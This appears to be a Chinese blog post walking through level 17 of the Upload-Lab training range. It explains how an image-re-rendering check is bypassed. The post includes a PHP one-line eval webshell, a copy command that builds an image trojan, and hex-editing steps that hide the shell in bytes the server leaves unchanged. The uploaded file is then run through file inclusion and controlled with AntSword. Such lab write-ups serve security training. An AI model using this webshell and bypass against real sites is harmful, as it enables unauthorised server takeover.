❝
大家好!我是一个热衷于分享IT技术的up主。在这个公众号里,我将为大家带来最新、最实用的技术干货,从编程语言到前沿科技,从软件开发到网络安全。希望通过我的分享,能够帮助更多的小伙伴提升技术水平,共同成长!欢迎关注,一起探索科技的魅力吧!
简介
文件上传漏洞一直是网络安全中一个重要且复杂的领域。在 Upload-Lab
的第17关,我们将探讨如何利用二次渲染技术绕过文件上传验证限制。
攻击思路
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
...
当上传一个文件的时候,首先$fileext
会判断是否为jpg的同时,content-type
是否为image/jpeg
,然后使用move_uploaded_file
进行处理,成功则执行二次渲染。
-
利用windows下的画图工具,然后保存为一张gif格式的图片。 -
上传后,保存上传的图片,与原图做比较,利用winhex写入一句话 -
利用文件包含读取、解析。
什么是二次渲染?
二次渲染是指服务器在文件上传后,再次处理或修改文件内容的过程。攻击者可以利用这一过程,上传一个看似安全的文件,但通过服务器的二次处理,将其转换为恶意文件。例如,上传一个合法的图片文件,但在服务器处理过程中,将其内容转变为恶意脚本。
攻击步骤
-
文件准备:
利用windows
下的画图工具,然后保存为一张gif格式的图片,然后,在准备一个webshll脚本,命名随意,内容如下:
<?php @eval($_POST[CMD]); ?>
利用下面的命令把图片制作成图片马:
copy 1.gif/b + webshell.php/a pass17.gif
执行上述命令后,会输入如下结果,并且会生成新的一张名为pass17.gif
的图片马。
在上传文件之前,我们通过winhex
软件查看,图片确实包含一句话木马,如下图:
-
上传文件
把制作好图片马上传,再下载下来查看。
再次使用winhex
查看刚下载好的文件,发现一句话木马没有了,如下图所示:
找渲染的分隔点,我利用winhex
的同步对比查看功能。通过再工具栏中查看->同步比较
,如下图所示:
从下图可以看出,黑色部分开始有变化,如下图所示:
于是,我们可以利用没有在没有发生改变的地方再次插入一句话木马:
-
我们先在 pass17.gif
复制一句木马的16进制。如下图所示:
-
在刚才下载的文件中插入这一句话木马,插入的地方是在没有发生渲染的地方。就是上图中黑色开始之前的地方。如下图所示:
然后,再次把这个修改过的文件(29323.gif
)上传,如下图所示:
然后下载,发现一句话木马可以了,如下图
然后我们再利用文件包含漏洞进行解析,如下图所示,发现解析成功
再通过中国蚁剑进行连接,如下图所示:
保存之后,打开文件浏览,如下图:
结论
第17关的挑战展示了如何利用二次渲染绕过上传校验的技术。关键在于找到渲染过程中用于分割的标志线,并在分割线之前插入一句话木马。
推荐阅读
RECRUIT
关注我们
博客 | didiplus.kwpmp.cn
原文始发于微信公众号(攻城狮成长日记):Upload-Lab第17关:二次渲染技巧轻松绕过上传限制!
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论